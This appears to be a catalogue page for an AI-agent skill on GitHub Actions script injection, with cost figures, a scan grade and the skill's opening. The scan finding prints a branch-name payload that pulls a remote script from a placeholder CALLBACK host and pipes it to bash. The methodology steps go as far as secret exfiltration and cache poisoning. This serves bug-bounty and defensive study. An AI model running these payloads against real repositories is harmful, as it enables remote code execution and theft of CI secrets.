Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill github-actions-script-injectiongit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/github-actions-script-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/github-actions-script-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00095 | $0.01712 |
| Opus 5 | $0.00048 | $0.00856 |
| Sonnet 5 | $0.00019 | $0.00342 |
| Haiku 4.5 | $0.00010 | $0.00171 |
Grade A, and why
github-actions-script-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)' How it starts
The opening of the file, as written. The whole thing — 139 lines — stays where its author put it; the contents beside it link to each section on GitHub.
GitHub Actions Script Injection
What Is Broken and Why
GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }}
directly into shell run: steps at workflow parse time — before the shell executes.
An attacker who controls the input (branch name, PR title, issue body, commit message)
can inject arbitrary shell commands that execute with the workflow's token permissions.
Even a read-only token becomes dangerous if it can be leveraged into cache poisoning,
secret exfiltration via subsequent workflows, or SSRF to internal services.
Key Signals
run:steps containing${{ github.head_ref }},${{ github.event.pull_request.title }},${{ github.event.pull_request.body }},${{ github.event.issue.title }},${{ github.event.issue.body }},${{ github.event.comment.body }}pull_request_targettrigger (runs in base repo context — elevated permissions + secrets)workflow_runconsuming artifacts or outputs from untrusted workflowsissue_comment,pull_request_review_commenttriggers with body interpolation- Workflows that echo, log, or use attacker-controlled strings in shell steps
${{ toJson(github.event) }}piped into scripts- Missing
env:variable indirection (safe pattern usesenv: VAR: ${{ expr }}then$VAR)
Methodology
- Enumerate all workflow files:
find .github/workflows -name "*.yml" -o -name "*.yaml" - Grep for dangerous context variables used directly in
run:blocks:grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.' - For each hit, trace the trigger: is it
pull_request,pull_request_target,issue_comment,workflow_dispatch? - Check token permissions:
permissions:block or defaultGITHUB_TOKENscope. - Identify what secrets are available in the workflow environment.
- Craft a branch name (or PR title/body) with injection payload.
- Open a PR from a fork using the malicious branch name to trigger the workflow.
- Confirm RCE via out-of-band callback (DNS/HTTP to CALLBACK server).
- Escalate: exfiltrate secrets, poison cache, pivot to downstream workflows.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 139 lines · 95 tokens per session scan A 2f82e06bb2ed
github-actions-script-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 95 tokens to every session and 1,712 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
pwn-aws-codebuild
Drive PWN::AWS::CodeBuild from pwneval.
pwn-aws-codepipeline
Drive PWN::AWS::CodePipeline from pwneval.
ship
Pre-launch shipping checklist orchestrating /gates, /security, /browser-test, /perf. Ensures nothing ships without passing all quality checks. Use when: (1) before deploying, (2) before merging to main, (3) before release. Triggers: /ship, 'ship it', 'ready to deploy', 'pre-launch check'.
constraint-scaffold
This skill should be used when generating the Layer 1 dependency-cruiser import-boundary gate (client modules importing server secrets) into a Next.js product codebase's CI.
platform-strategist
Use this agent when you need to make infrastructure and deployment strategy decisions before implementation. Evaluates build pipelines, CI/CD approaches, cloud resource selection, containerization strategies, and deployment topology. Use terraform-architect for generating Terraform configs after decisions are made…
github-workflow-automation
Advanced GitHub Actions workflow automation with AI swarm coordination, intelligent CI/CD pipelines, and comprehensive repository management.